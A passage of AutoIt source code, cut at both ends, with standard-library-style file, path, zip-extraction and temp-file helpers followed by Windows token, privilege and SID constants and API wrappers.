If UBound($alist) <= $alist[0] Then ReDim $alist[UBound($alist) * 2]
$alist[$alist[0]] = $vvalue_0
Else
$alist[0][0] += 1
If UBound($alist) <= $alist[0][0] Then ReDim $alist[UBound($alist) * 2][2]
$alist[$alist[0][0]][0] = $vvalue_0
$alist[$alist[0][0]][1] = $vvalue_1
EndIf
EndFunc
Func __fltar_listtomask(ByRef $smask, $slist)
If StringRegExp($slist, "\\|/|:|\<|\>|\|") Then Return 0
$slist = StringReplace(StringStripWS(StringRegExpReplace($slist, "\s*;\s*", ";"), $str_stripleading + $str_striptrailing), ";", "|")
$slist = StringReplace(StringReplace(StringRegExpReplace($slist, "[][$^.{}()+\-]", "\\$0"), "?", "."), "*", ".*?")
$smask = "(?i)^(" & $slist & ")\z"
Return 1
EndFunc
Func _fileprint($sfilepath, $ishow = @SW_HIDE)
If $ishow = Default Then $ishow = @SW_HIDE
Return ShellExecute($sfilepath, "", @WorkingDir, "print", $ishow)
EndFunc
Func _filereadtoarray($sfilepath, ByRef $aarray, $iflags = $frta_count, $sdelimiter = "")
$aarray = 0
If $iflags = Default Then $iflags = $frta_count
If $sdelimiter = Default Then $sdelimiter = ""
Local $bexpand = True
If BitAND($iflags, $frta_intarrays) Then
$bexpand = False
$iflags -= $frta_intarrays
EndIf
Local $ientire = $str_chrsplit
If BitAND($iflags, $frta_entiresplit) Then
$ientire = $str_entiresplit
$iflags -= $frta_entiresplit
EndIf
Local $inocount = 0
If $iflags <> $frta_count Then
$iflags = $frta_nocount
$inocount = $str_nocount
EndIf
If $sdelimiter Then
Local $alines = FILEREADTOARRAY($sfilepath)
If @error Then Return SetError(@error, 0, 0)
Local $idim_1 = UBound($alines) + $iflags
If $bexpand Then
Local $idim_2 = UBound(StringSplit($alines[0], $sdelimiter, $ientire + $str_nocount))
Local $atemp_array[$idim_1][$idim_2]
Local $ifields, $asplit
For $i = 0 To $idim_1 - $iflags - 1
$asplit = StringSplit($alines[$i], $sdelimiter, $ientire + $str_nocount)
$ifields = UBound($asplit)
If $ifields <> $idim_2 Then
Return SetError(3, 0, 0)
EndIf
For $j = 0 To $ifields - 1
$atemp_array[$i + $iflags][$j] = $asplit[$j]
Next
Next
If $idim_2 < 2 Then Return SetError(4, 0, 0)
If $iflags Then
$atemp_array[0][0] = $idim_1 - $iflags
$atemp_array[0][1] = $idim_2
EndIf
Else
Local $atemp_array[$idim_1]
For $i = 0 To $idim_1 - $iflags - 1
$atemp_array[$i + $iflags] = StringSplit($alines[$i], $sdelimiter, $ientire + $inocount)
Next
If $iflags Then
$atemp_array[0] = $idim_1 - $iflags
EndIf
EndIf
$aarray = $atemp_array
Else
If $iflags Then
Local $hfileopen = FileOpen($sfilepath, $fo_read)
If $hfileopen = -1 Then Return SetError(1, 0, 0)
Local $sfileread = FileRead($hfileopen)
FileClose($hfileopen)
If StringLen($sfileread) Then
$aarray = StringRegExp(@LF & $sfileread, "(?|(\N+)\z|(\N*)(?:\R))", 3)
$aarray[0] = UBound($aarray) - 1
Else
Return SetError(2, 0, 0)
EndIf
Else
$aarray = FILEREADTOARRAY($sfilepath)
If @error Then
$aarray = 0
Return SetError(@error, 0, 0)
EndIf
EndIf
EndIf
Return 1
EndFunc
Func _filewritefromarray($sfilepath, Const ByRef $aarray, $ibase = Default, $iubound = Default, $sdelimeter = "|")
If NOT IsArray($aarray) Then Return SetError(2, 0, 0)
Local $idims = UBound($aarray, $ubound_dimensions)
If $idims > 2 Then Return SetError(4, 0, 0)
Local $ilast = UBound($aarray) - 1
If $iubound = Default OR $iubound > $ilast Then $iubound = $ilast
If $ibase < 0 OR $ibase = Default Then $ibase = 0
If $ibase > $iubound Then Return SetError(5, 0, 0)
If $sdelimeter = Default Then $sdelimeter = "|"
Local $hfileopen = $sfilepath
If IsString($sfilepath) Then
$hfileopen = FileOpen($sfilepath, $fo_overwrite)
EndIf
If $hfileopen = -1 Then Return SetError(1, 0, 0)
Local $ierror = 0
Switch $idims
Case 1
For $i = $ibase To $iubound
If FileWrite($hfileopen, $aarray[$i] & @CRLF) = 0 Then
$ierror = 3
ExitLoop
EndIf
Next
Case 2
Local $stemp = ""
Local $icols = UBound($aarray, $ubound_columns)
For $i = $ibase To $iubound
$stemp = $aarray[$i][0]
For $j = 1 To $icols - 1
$stemp &= $sdelimeter & $aarray[$i][$j]
Next
If FileWrite($hfileopen, $stemp & @CRLF) = 0 Then
$ierror = 3
ExitLoop
EndIf
Next
EndSwitch
If IsString($sfilepath) Then FileClose($hfileopen)
If $ierror Then Return SetError($ierror, 0, 0)
Return 1
EndFunc
Func _filewritelog($slogpath, $slogmsg, $iflag = -1)
Local $iopenmode = $fo_append
Local $sdatenow = @YEAR & "-" & @MON & "-" & @MDAY
Local $stimenow = @HOUR & ":" & @MIN & ":" & @SEC
Local $smsg = $sdatenow & " " & $stimenow & " : " & $slogmsg
If $iflag = Default Then $iflag = -1
If $iflag <> -1 Then
$iopenmode = $fo_overwrite
$smsg &= @CRLF & FileRead($slogpath)
EndIf
Local $hfileopen = $slogpath
If IsString($slogpath) Then
$hfileopen = FileOpen($slogpath, $iopenmode)
EndIf
If $hfileopen = -1 Then Return SetError(1, 0, 0)
Local $ireturn = FileWriteLine($hfileopen, $smsg)
If IsString($slogpath) Then $ireturn = FileClose($hfileopen)
If $ireturn <= 0 Then Return SetError(2, $ireturn, 0)
Return $ireturn
EndFunc
Func _filewritetoline($sfilepath, $iline, $stext, $ioverwrite = 0)
If $iline <= 0 Then Return SetError(4, 0, 0)
If NOT IsString($stext) Then
$stext = String($stext)
If $stext = "" Then Return SetError(6, 0, 0)
EndIf
If $ioverwrite <> 0 AND $ioverwrite <> 1 Then Return SetError(5, 0, 0)
If FileExists($sfilepath) = 0 Then Return SetError(2, 0, 0)
Local $aarray = FILEREADTOARRAY($sfilepath)
Local $iubound = UBound($aarray) - 1
If ($iubound + 1) < $iline Then Return SetError(1, 0, 0)
Local $hfileopen = FileOpen($sfilepath, FileGetEncoding($sfilepath) + $fo_overwrite)
If $hfileopen = -1 Then Return SetError(3, 0, 0)
Local $sdata = ""
$iline -= 1
For $i = 0 To $iubound
If $i = $iline Then
If $ioverwrite Then
If $stext Then $sdata &= $stext & @CRLF
Else
$sdata &= $stext & @CRLF & $aarray[$i] & @CRLF
EndIf
ElseIf $i < $iubound Then
$sdata &= $aarray[$i] & @CRLF
ElseIf $i = $iubound Then
$sdata &= $aarray[$i]
EndIf
Next
FileWrite($hfileopen, $sdata)
FileClose($hfileopen)
Return 1
EndFunc
Func _pathfull($srelativepath, $sbasepath = @WorkingDir)
If NOT $srelativepath OR $srelativepath = "." Then Return $sbasepath
Local $sfullpath = StringReplace($srelativepath, "/", "\")
Local Const $sfullpathconst = $sfullpath
Local $spath
Local $brootonly = StringLeft($sfullpath, 1) = "\" AND StringMid($sfullpath, 2, 1) <> "\"
If $sbasepath = Default Then $sbasepath = @WorkingDir
For $i = 1 To 2
$spath = StringLeft($sfullpath, 2)
If $spath = "\\" Then
$sfullpath = StringTrimLeft($sfullpath, 2)
Local $nserverlen = StringInStr($sfullpath, "\") - 1
$spath = "\\" & StringLeft($sfullpath, $nserverlen)
$sfullpath = StringTrimLeft($sfullpath, $nserverlen)
ExitLoop
ElseIf StringRight($spath, 1) = ":" Then
$sfullpath = StringTrimLeft($sfullpath, 2)
ExitLoop
Else
$sfullpath = $sbasepath & "\" & $sfullpath
EndIf
Next
If StringLeft($sfullpath, 1) <> "\" Then
If StringLeft($sfullpathconst, 2) = StringLeft($sbasepath, 2) Then
$sfullpath = $sbasepath & "\" & $sfullpath
Else
$sfullpath = "\" & $sfullpath
EndIf
EndIf
Local $atemp = StringSplit($sfullpath, "\")
Local $apathparts[$atemp[0]], $j = 0
For $i = 2 To $atemp[0]
If $atemp[$i] = ".." Then
If $j Then $j -= 1
ElseIf NOT ($atemp[$i] = "" AND $i <> $atemp[0]) AND $atemp[$i] <> "." Then
$apathparts[$j] = $atemp[$i]
$j += 1
EndIf
Next
$sfullpath = $spath
If NOT $brootonly Then
For $i = 0 To $j - 1
$sfullpath &= "\" & $apathparts[$i]
Next
Else
$sfullpath &= $sfullpathconst
If StringInStr($sfullpath, "..") Then $sfullpath = _pathfull($sfullpath)
EndIf
Do
$sfullpath = StringReplace($sfullpath, ".\", "\")
Until @extended = 0
Return $sfullpath
EndFunc
Func _pathgetrelative($sfrom, $sto)
If StringRight($sfrom, 1) <> "\" Then $sfrom &= "\"
If StringRight($sto, 1) <> "\" Then $sto &= "\"
If $sfrom = $sto Then Return SetError(1, 0, StringTrimRight($sto, 1))
Local $asfrom = StringSplit($sfrom, "\")
Local $asto = StringSplit($sto, "\")
If $asfrom[1] <> $asto[1] Then Return SetError(2, 0, StringTrimRight($sto, 1))
Local $i = 2
Local $idiff = 1
While 1
If $asfrom[$i] <> $asto[$i] Then
$idiff = $i
ExitLoop
EndIf
$i += 1
WEnd
$i = 1
Local $srelpath = ""
For $j = 1 To $asto[0]
If $i >= $idiff Then
$srelpath &= "\" & $asto[$i]
EndIf
$i += 1
Next
$srelpath = StringTrimLeft($srelpath, 1)
$i = 1
For $j = 1 To $asfrom[0]
If $i > $idiff Then
$srelpath = "..\" & $srelpath
EndIf
$i += 1
Next
If StringRight($srelpath, 1) == "\" Then $srelpath = StringTrimRight($srelpath, 1)
Return $srelpath
EndFunc
Func _pathmake($sdrive, $sdir, $sfilename, $sextension)
If StringLen($sdrive) Then
If NOT (StringLeft($sdrive, 2) = "\\") Then $sdrive = StringLeft($sdrive, 1) & ":"
EndIf
If StringLen($sdir) Then
If NOT (StringRight($sdir, 1) = "\") AND NOT (StringRight($sdir, 1) = "/") Then $sdir = $sdir & "\"
EndIf
If StringLen($sdir) Then
If NOT (StringLeft($sdir, 1) = "\") AND NOT (StringLeft($sdir, 1) = "/") Then $sdir = "\" & $sdir
EndIf
If StringLen($sextension) Then
If NOT (StringLeft($sextension, 1) = ".") Then $sextension = "." & $sextension
EndIf
Return $sdrive & $sdir & $sfilename & $sextension
EndFunc
Func _pathsplit($sfilepath, ByRef $sdrive, ByRef $sdir, ByRef $sfilename, ByRef $sextension)
Local $aarray = StringRegExp($sfilepath, "^\h*((?:\\\\\?\\)*(\\\\[^\?\/\\]+|[A-Za-z]:)?(.*[\/\\]\h*)?((?:[^\.\/\\]|(?(?=\.[^\/\\]*\.)\.))*)?([^\/\\]*))$", $str_regexparraymatch)
If @error Then
ReDim $aarray[5]
$aarray[0] = $sfilepath
EndIf
$sdrive = $aarray[1]
If StringLeft($aarray[2], 1) == "/" Then
$sdir = StringRegExpReplace($aarray[2], "\h*[\/\\]+\h*", "\/")
Else
$sdir = StringRegExpReplace($aarray[2], "\h*[\/\\]+\h*", "\\")
EndIf
$sfilename = $aarray[3]
$sextension = $aarray[4]
Return $aarray
EndFunc
Func _replacestringinfile($sfilepath, $ssearchstring, $sreplacestring, $icasesensitive = 0, $ioccurance = 1)
If StringInStr(FileGetAttrib($sfilepath), "R") Then Return SetError(1, 0, -1)
Local $hfileopen = FileOpen($sfilepath, $fo_read)
If $hfileopen = -1 Then Return SetError(2, 0, -1)
Local $sfileread = FileRead($hfileopen)
FileClose($hfileopen)
If $icasesensitive = Default Then $icasesensitive = 0
If $ioccurance = Default Then $ioccurance = 1
$sfileread = StringReplace($sfileread, $ssearchstring, $sreplacestring, 1 - $ioccurance, $icasesensitive)
Local $ireturn = @extended
If $ireturn Then
Local $ifileencoding = FileGetEncoding($sfilepath)
$hfileopen = FileOpen($sfilepath, $ifileencoding + $fo_overwrite)
If $hfileopen = -1 Then Return SetError(3, 0, -1)
FileWrite($hfileopen, $sfileread)
FileClose($hfileopen)
EndIf
Return $ireturn
EndFunc
Func _tempfile($sdirectoryname = @TempDir, $sfileprefix = "~", $sfileextension = ".tmp", $irandomlength = 7)
If $irandomlength = Default OR $irandomlength <= 0 Then $irandomlength = 7
If $sdirectoryname = Default OR (NOT FileExists($sdirectoryname)) Then $sdirectoryname = @TempDir
If $sfileextension = Default Then $sfileextension = ".tmp"
If $sfileprefix = Default Then $sfileprefix = "~"
If NOT FileExists($sdirectoryname) Then $sdirectoryname = @ScriptDir
$sdirectoryname = StringRegExpReplace($sdirectoryname, "[\\/]+$", "")
$sfileextension = StringRegExpReplace($sfileextension, "^\.+", "")
$sfileprefix = StringRegExpReplace($sfileprefix, '[\\/:*?"<>|]', "")
Local $stempname = ""
Do
$stempname = ""
While StringLen($stempname) < $irandomlength
$stempname &= Chr(Random(97, 122, 1))
WEnd
$stempname = $sdirectoryname & "\" & $sfileprefix & $stempname & "." & $sfileextension
Until NOT FileExists($stempname)
Return $stempname
EndFunc
Func _zip_unzipall($hzipfile, $hdestpath, $flag = 1)
Local $dllchk = _zip_dllchk()
If $dllchk <> 0 Then Return SetError($dllchk, 0, 0)
If NOT _isfullpath($hzipfile) Then Return SetError(4, 0)
If NOT FileExists($hzipfile) Then Return SetError(2, 0, 0)
If NOT FileExists($hdestpath) Then DirCreate($hdestpath)
Local $aarray[1]
$oapp = ObjCreate("Shell.Application")
$oapp.namespace($hdestpath).copyhere($oapp.namespace($hzipfile).items, 20)
For $item In $oapp.namespace($hzipfile).items
_arrayadd($aarray, $item)
Next
While 1
If $flag = 1 Then _hide()
If FileExists($hdestpath & "\" & $aarray[UBound($aarray) - 1]) Then
Return SetError(0, 0, 1)
ExitLoop
EndIf
Sleep(500)
WEnd
EndFunc
Func _zip_unzip($hzipfile, $hfilename, $hdestpath, $flag = 1)
Local $dllchk = _zip_dllchk()
If $dllchk <> 0 Then Return SetError($dllchk, 0, 0)
If NOT _isfullpath($hzipfile) Then Return SetError(4, 0)
If NOT FileExists($hzipfile) Then Return SetError(1, 0, 0)
If NOT FileExists($hdestpath) Then DirCreate($hdestpath)
$oapp = ObjCreate("Shell.Application")
$hfolderitem = $oapp.namespace($hzipfile).parsename($hfilename)
$oapp.namespace($hdestpath).copyhere($hfolderitem)
While 1
If $flag = 1 Then _hide()
If FileExists($hdestpath & "\" & $hfilename) Then
Return SetError(0, 0, 1)
ExitLoop
EndIf
Sleep(500)
WEnd
EndFunc
Func _zip_dllchk()
If NOT FileExists(@SystemDir & "\zipfldr.dll") Then Return 2
If NOT RegRead("HKEY_CLASSES_ROOT\CLSID\{E88DCCE0-B7B3-11d1-A9F0-00AA0060FA31}", "") Then Return 3
Return 0
EndFunc
Func _geticon($file, $returntype = 0)
$filetype = StringSplit($file, ".")
$filetype = $filetype[UBound($filetype) - 1]
$fileparam = RegRead("HKEY_CLASSES_ROOT\." & $filetype, "")
$defaulticon = RegRead("HKEY_CLASSES_ROOT\" & $fileparam & "\DefaultIcon", "")
If NOT @error Then
$iconsplit = StringSplit($defaulticon, ",")
ReDim $iconsplit[3]
$iconfile = $iconsplit[1]
$iconid = $iconsplit[2]
Else
$iconfile = @SystemDir & "\shell32.dll"
$iconid = -219
EndIf
If $returntype = 0 Then
Return $iconfile
Else
Return $iconid
EndIf
EndFunc
Func _isfullpath($path)
If StringInStr($path, ":\") Then
Return True
Else
Return False
EndIf
EndFunc
Func _hide()
If ControlGetHandle("[CLASS:#32770]", "", "[CLASS:SysAnimate32; INSTANCE:1]") <> "" AND WinGetState("[CLASS:#32770]") <> @SW_HIDE Then
$hwnd = WinGetHandle("[CLASS:#32770]")
WinSetState($hwnd, "", @SW_HIDE)
EndIf
EndFunc
Global Const $se_assignprimarytoken_name = "SeAssignPrimaryTokenPrivilege"
Global Const $se_audit_name = "SeAuditPrivilege"
Global Const $se_backup_name = "SeBackupPrivilege"
Global Const $se_change_notify_name = "SeChangeNotifyPrivilege"
Global Const $se_create_global_name = "SeCreateGlobalPrivilege"
Global Const $se_create_pagefile_name = "SeCreatePagefilePrivilege"
Global Const $se_create_permanent_name = "SeCreatePermanentPrivilege"
Global Const $se_create_symbolic_link_name = "SeCreateSymbolicLinkPrivilege"
Global Const $se_create_token_name = "SeCreateTokenPrivilege"
Global Const $se_debug_name = "SeDebugPrivilege"
Global Const $se_enable_delegation_name = "SeEnableDelegationPrivilege"
Global Const $se_impersonate_name = "SeImpersonatePrivilege"
Global Const $se_inc_base_priority_name = "SeIncreaseBasePriorityPrivilege"
Global Const $se_inc_working_set_name = "SeIncreaseWorkingSetPrivilege"
Global Const $se_increase_quota_name = "SeIncreaseQuotaPrivilege"
Global Const $se_load_driver_name = "SeLoadDriverPrivilege"
Global Const $se_lock_memory_name = "SeLockMemoryPrivilege"
Global Const $se_machine_account_name = "SeMachineAccountPrivilege"
Global Const $se_manage_volume_name = "SeManageVolumePrivilege"
Global Const $se_prof_single_process_name = "SeProfileSingleProcessPrivilege"
Global Const $se_relabel_name = "SeRelabelPrivilege"
Global Const $se_remote_shutdown_name = "SeRemoteShutdownPrivilege"
Global Const $se_restore_name = "SeRestorePrivilege"
Global Const $se_security_name = "SeSecurityPrivilege"
Global Const $se_shutdown_name = "SeShutdownPrivilege"
Global Const $se_sync_agent_name = "SeSyncAgentPrivilege"
Global Const $se_system_environment_name = "SeSystemEnvironmentPrivilege"
Global Const $se_system_profile_name = "SeSystemProfilePrivilege"
Global Const $se_systemtime_name = "SeSystemtimePrivilege"
Global Const $se_take_ownership_name = "SeTakeOwnershipPrivilege"
Global Const $se_tcb_name = "SeTcbPrivilege"
Global Const $se_time_zone_name = "SeTimeZonePrivilege"
Global Const $se_trusted_credman_access_name = "SeTrustedCredManAccessPrivilege"
Global Const $se_unsolicited_input_name = "SeUnsolicitedInputPrivilege"
Global Const $se_undock_name = "SeUndockPrivilege"
Global Const $se_privilege_enabled_by_default = 1
Global Const $se_privilege_enabled = 2
Global Const $se_privilege_removed = 4
Global Const $se_privilege_used_for_access = -2147483648
Global Const $se_group_mandatory = 1
Global Const $se_group_enabled_by_default = 2
Global Const $se_group_enabled = 4
Global Const $se_group_owner = 8
Global Const $se_group_use_for_deny_only = 16
Global Const $se_group_integrity = 32
Global Const $se_group_integrity_enabled = 64
Global Const $se_group_resource = 536870912
Global Const $se_group_logon_id = -1073741824
Global Enum $tokenprimary = 1, $tokenimpersonation
Global Enum $securityanonymous = 0, $securityidentification, $securityimpersonation, $securitydelegation
Global Enum $tokenuser = 1, $tokengroups, $tokenprivileges, $tokenowner, $tokenprimarygroup, $tokendefaultdacl, $tokensource, $tokentype, $tokenimpersonationlevel, $tokenstatistics, $tokenrestrictedsids, $tokensessionid, $tokengroupsandprivileges, $tokensessionreference, $tokensandboxinert, $tokenauditpolicy, $tokenorigin, $tokenelevationtype, $tokenlinkedtoken, $tokenelevation, $tokenhasrestrictions, $tokenaccessinformation, $tokenvirtualizationallowed, $tokenvirtualizationenabled, $tokenintegritylevel, $tokenuiaccess, $tokenmandatorypolicy, $tokenlogonsid
Global Const $token_assign_primary = 1
Global Const $token_duplicate = 2
Global Const $token_impersonate = 4
Global Const $token_query = 8
Global Const $token_query_source = 16
Global Const $token_adjust_privileges = 32
Global Const $token_adjust_groups = 64
Global Const $token_adjust_default = 128
Global Const $token_adjust_sessionid = 256
Global Const $token_all_access = 983551
Global Const $token_read = 131080
Global Const $token_write = 131296
Global Const $token_execute = 131072
Global Const $token_has_traverse_privilege = 1
Global Const $token_has_backup_privilege = 2
Global Const $token_has_restore_privilege = 4
Global Const $token_has_admin_group = 8
Global Const $token_is_restricted = 16
Global Const $token_session_not_referenced = 32
Global Const $token_sandbox_inert = 64
Global Const $token_has_impersonate_privilege = 128
Global Const $rights_delete = 65536
Global Const $read_control = 131072
Global Const $write_dac = 262144
Global Const $write_owner = 524288
Global Const $synchronize = 1048576
Global Const $access_system_security = 16777216
Global Const $standard_rights_required = 983040
Global Const $standard_rights_read = $read_control
Global Const $standard_rights_write = $read_control
Global Const $standard_rights_execute = $read_control
Global Const $standard_rights_all = 2031616
Global Const $specific_rights_all = 65535
Global Enum $not_used_access = 0, $grant_access, $set_access, $deny_access, $revoke_access, $set_audit_success, $set_audit_failure
Global Enum $trustee_is_unknown = 0, $trustee_is_user, $trustee_is_group, $trustee_is_domain, $trustee_is_alias, $trustee_is_well_known_group, $trustee_is_deleted, $trustee_is_invalid, $trustee_is_computer
Global Const $logon_with_profile = 1
Global Const $logon_netcredentials_only = 2
Global Enum $sidtypeuser = 1, $sidtypegroup, $sidtypedomain, $sidtypealias, $sidtypewellknowngroup, $sidtypedeletedaccount, $sidtypeinvalid, $sidtypeunknown, $sidtypecomputer, $sidtypelabel
Global Const $sid_administrators = "S-1-5-32-544"
Global Const $sid_users = "S-1-5-32-545"
Global Const $sid_guests = "S-1-5-32-546"
Global Const $sid_account_operators = "S-1-5-32-548"
Global Const $sid_server_operators = "S-1-5-32-549"
Global Const $sid_print_operators = "S-1-5-32-550"
Global Const $sid_backup_operators = "S-1-5-32-551"
Global Const $sid_replicator = "S-1-5-32-552"
Global Const $sid_owner = "S-1-3-0"
Global Const $sid_everyone = "S-1-1-0"
Global Const $sid_network = "S-1-5-2"
Global Const $sid_interactive = "S-1-5-4"
Global Const $sid_system = "S-1-5-18"
Global Const $sid_authenticated_users = "S-1-5-11"
Global Const $sid_schannel_authentication = "S-1-5-64-14"
Global Const $sid_digest_authentication = "S-1-5-64-21"
Global Const $sid_nt_service = "S-1-5-80"
Global Const $sid_untrusted_mandatory_level = "S-1-16-0"
Global Const $sid_low_mandatory_level = "S-1-16-4096"
Global Const $sid_medium_mandatory_level = "S-1-16-8192"
Global Const $sid_medium_plus_mandatory_level = "S-1-16-8448"
Global Const $sid_high_mandatory_level = "S-1-16-12288"
Global Const $sid_system_mandatory_level = "S-1-16-16384"
Global Const $sid_protected_process_mandatory_level = "S-1-16-20480"
Global Const $sid_secure_process_mandatory_level = "S-1-16-28672"
Global Const $sid_all_services = "S-1-5-80-0"
Func _winapi_getlasterror($ierror = @error, $iextended = @extended)
Local $aresult = DllCall("kernel32.dll", "dword", "GetLastError")
Return SetError($ierror, $iextended, $aresult[0])
EndFunc
Func _winapi_setlasterror($ierrorcode, $ierror = @error, $iextended = @extended)
DllCall("kernel32.dll", "none", "SetLastError", "dword", $ierrorcode)
Return SetError($ierror, $iextended, NULL )
EndFunc
Func _security__adjusttokenprivileges($htoken, $bdisableall, $pnewstate, $ibufferlen, $pprevstate = 0, $prequired = 0)
Local $acall = DllCall("advapi32.dll", "bool", "AdjustTokenPrivileges", "handle", $htoken, "bool", $bdisableall, "struct*", $pnewstate, "dword", $ibufferlen, "struct*", $pprevstate, "struct*", $prequired)
If @error Then Return SetError(@error, @extended, False)
Return NOT ($acall[0] = 0)
EndFunc
Func _security__createprocesswithtoken($htoken, $ilogonflags, $scommandline, $icreationflags, $scurdir, $tstartupinfo, $tprocess_information)
Local $acall = DllCall("advapi32.dll", "bool", "CreateProcessWithTokenW", "handle", $htoken, "dword", $ilogonflags, "ptr", 0, "wstr", $scommandline, "dword", $icreationflags, "struct*", 0, "wstr", $scurdir, "struct*", $tstartupinfo, "struct*", $tprocess_information)
If @error OR NOT $acall[0] Then Return SetError(@error, @extended, False)
Return True
EndFunc
Func _security__duplicatetokenex($hexistingtoken, $idesiredaccess, $iimpersonationlevel, $itokentype)
Local $acall = DllCall("advapi32.dll", "bool", "DuplicateTokenEx", "handle", $hexistingtoken, "dword", $idesiredaccess, "struct*", 0, "int", $iimpersonationlevel, "int", $itokentype, "handle*", 0)
If @error OR NOT $acall[0] Then Return SetError(@error, @extended, 0)
Return $acall[6]
EndFunc
Func _security__getaccountsid($saccount, $ssystem = "")
Local $aacct = _security__lookupaccountname($saccount, $ssystem)
If @error Then Return SetError(@error, @extended, 0)
If IsArray($aacct) Then Return _security__stringsidtosid($aacct[0])
Return ""
EndFunc
Func _security__getlengthsid($psid)
If NOT _security__isvalidsid($psid) Then Return SetError(@error + 10, @extended, 0)
Local $acall = DllCall("advapi32.dll", "dword", "GetLengthSid", "struct*", $psid)
If @error Then Return SetError(@error, @extended, 0)
Return $acall[0]
EndFunc
Func _security__gettokeninformation($htoken, $iclass)
Local $acall = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handle", $htoken, "int", $iclass, "struct*", 0, "dword", 0, "dword*", 0)
If @error OR NOT $acall[5] Then Return SetError(@error + 10, @extended, 0)
Local $ilen = $acall[5]
Local $tbuffer = DllStructCreate("byte[" & $ilen & "]")
$acall = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handle", $htoken, "int", $iclass, "struct*", $tbuffer, "dword", DllStructGetSize($tbuffer), "dword*", 0)
If @error OR NOT $acall[0] Then Return SetError(@error, @extended, 0)
Return $tbuffer
EndFunc
Func _security__impersonateself($ilevel = $securityimpersonation)
Local $acall = DllCall("advapi32.dll", "bool", "ImpersonateSelf", "int", $ilevel)
If @error Then Return SetError(@error, @extended, False)
Return NOT ($acall[0] = 0)
EndFunc
Func _security__isvalidsid($psid)
Local $acall = DllCall("advapi32.dll", "bool", "IsValidSid", "struct*", $psid)
If @error Then Return SetError(@error, @extended, False)
Return NOT ($acall[0] = 0)
EndFunc
Func _security__lookupaccountname($saccount, $ssystem = "")
Local $tdata = DllStructCreate("byte SID[256]")
Local $acall = DllCall("advapi32.dll", "bool", "LookupAccountNameW", "wstr", $ssystem, "wstr", $saccount, "struct*", $tdata, "dword*", DllStructGetSize($tdata), "wstr", "", "dword*", DllStructGetSize($tdata), "int*", 0)
If @error OR NOT $acall[0] Then Return SetError(@error, @extended, 0)
Local $aacct[3]
$aacct[0] = _security__sidtostringsid(DllStructGetPtr($tdata, "SID"))
$aacct[1] = $acall[5]
$aacct[2] = $acall[7]
Return $aacct
EndFunc
Func _security__lookupaccountsid($vsid, $ssystem = "")
Local $psid, $aacct[3]
If IsString($vsid) Then
$psid = _security__stringsidtosid($vsid)
Else
$psid = $vsid
EndIf
If NOT _security__isvalidsid($psid) Then Return SetError(@error + 10, @extended, 0)
Local $stypesystem = "ptr"
If $ssystem Then $stypesystem = "wstr"
Local $acall = DllCall("advapi32.dll", "bool", "LookupAccountSidW", $stypesystem, $ssystem, "struct*", $psid, "wstr", "", "dword*", 65536, "wstr", "", "dword*", 65536, "int*", 0)
If @error OR NOT $acall[0] Then Return SetError(@error, @extended, 0)
Local $aacct[3]
$aacct[0] = $acall[3]
$aacct[1] = $acall[5]
$aacct[2] = $acall[7]
Return $aacct
EndFunc
Func _security__lookupprivilegevalue($ssystem, $sname)
Local $acall = DllCall("advapi32.dll", "bool", "LookupPrivilegeValueW", "wstr", $ssystem, "wstr", $sname, "int64*", 0)
If @error OR NOT $acall[0] Then Return SetError(@error, @extended, 0)
Return $acall[3]
EndFunc
Func _security__openprocesstoken($hprocess, $iaccess)
Local $acall = DllCall("advapi32.dll", "bool", "OpenProcessToken", "handle", $hprocess, "dword", $iaccess, "handle*", 0)
If @error OR NOT $acall[0] Then Return SetError(@error, @extended, 0)
Return $acall[3]
EndFunc
Func _security__openthreadtoken($iaccess, $hthread = 0, $bopenasself = False)
If $hthread = 0 Then
Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentThread")
If @error Then Return SetError(@error + 10, @extended, 0)
$hthread = $aresult[0]
EndIf
Local $acall = DllCall("advapi32.dll", "bool", "OpenThreadToken", "handle", $hthread, "dword", $iaccess, "bool", $bopenasself, "handle*", 0)
If @error OR NOT $acall[0] Then Return SetError(@error, @extended, 0)
Return $acall[4]
EndFunc
Func _security__openthreadtokenex($iaccess, $hthread = 0, $bopenasself = False)
Local $htoken = _security__openthreadtoken($iaccess, $hthread, $bopenasself)
If $htoken = 0 Then
Local Const $error_no_token = 1008
If _winapi_getlasterror() <> $error_no_token Then Return SetError(20, _winapi_getlasterror(), 0)
If NOT _security__impersonateself() Then Return SetError(@error + 10, _winapi_getlasterror(), 0)
$htoken = _security__openthreadtoken($iaccess, $hthread, $bopenasself)
If $htoken = 0 Then Return SetError(@error, _winapi_getlasterror(), 0)
EndIf
Return $htoken
EndFunc
Func _security__setprivilege($htoken, $sprivilege, $benable)
Local $iluid = _security__lookupprivilegevalue("", $sprivilege)
If $iluid = 0 Then Return SetError(@error + 10, @extended, False)
Local Const $tagtoken_privileges = "dword Count;align 4;int64 LUID;dword Attributes"
Local $tcurrstate = DllStructCreate($tagtoken_privileges)
Local $icurrstate = DllStructGetSize($tcurrstate)
Local $tprevstate = DllStructCreate($tagtoken_privileges)
Local $iprevstate = DllStructGetSize($tprevstate)
Local $trequired = DllStructCreate("int Data")
DllStructSetData($tcurrstate, "Count", 1)
DllStructSetData($tcurrstate, "LUID", $iluid)
If NOT _security__adjusttokenprivileges($htoken, False, $tcurrstate, $icurrstate, $tprevstate, $trequired) Then Return SetError(2, @error, False)
DllStructSetData($tprevstate, "Count", 1)
DllStructSetData($tprevstate, "LUID", $iluid)
Local $iattributes = DllStructGetData($tprevstate, "Attributes")
If $benable Then
$iattributes = BitOR($iattributes, $se_privilege_enabled)
Else
$iattributes = BitAND($iattributes, BitNOT($se_privilege_enabled))
EndIf
DllStructSetData($tprevstate, "Attributes", $iattributes)
If NOT _security__adjusttokenprivileges($htoken, False, $tprevstate, $iprevstate, $tcurrstate, $trequired) Then Return SetError(3, @error, False)
Return True
EndFunc
Func _security__settokeninformation($htoken, $itokeninformation, $vtokeninformation, $itokeninformationlength)
Local $acall = DllCall("advapi32.dll", "bool", "SetTokenInformation", "handle", $htoken, "int", $itokeninformation, "struct*", $vtokeninformation, "dword", $itokeninformationlength)
If @error OR NOT $acall[0] Then Return SetError(@error, @extended, False)
Return True
EndFunc
Func _security__sidtostringsid($psid)
If NOT _security__isvalidsid($psid) Then Return SetError(@error + 10, 0, "")
Local $acall = DllCall("advapi32.dll", "bool", "ConvertSidToStringSidW", "struct*", $psid, "ptr*", 0)
If @error OR NOT $acall[0] Then Return SetError(@error, @extended, "")
Local $pstringsid = $acall[2]
Local $alen = DllCall("kernel32.dll", "int", "lstrlenW", "struct*", $pstringsid)
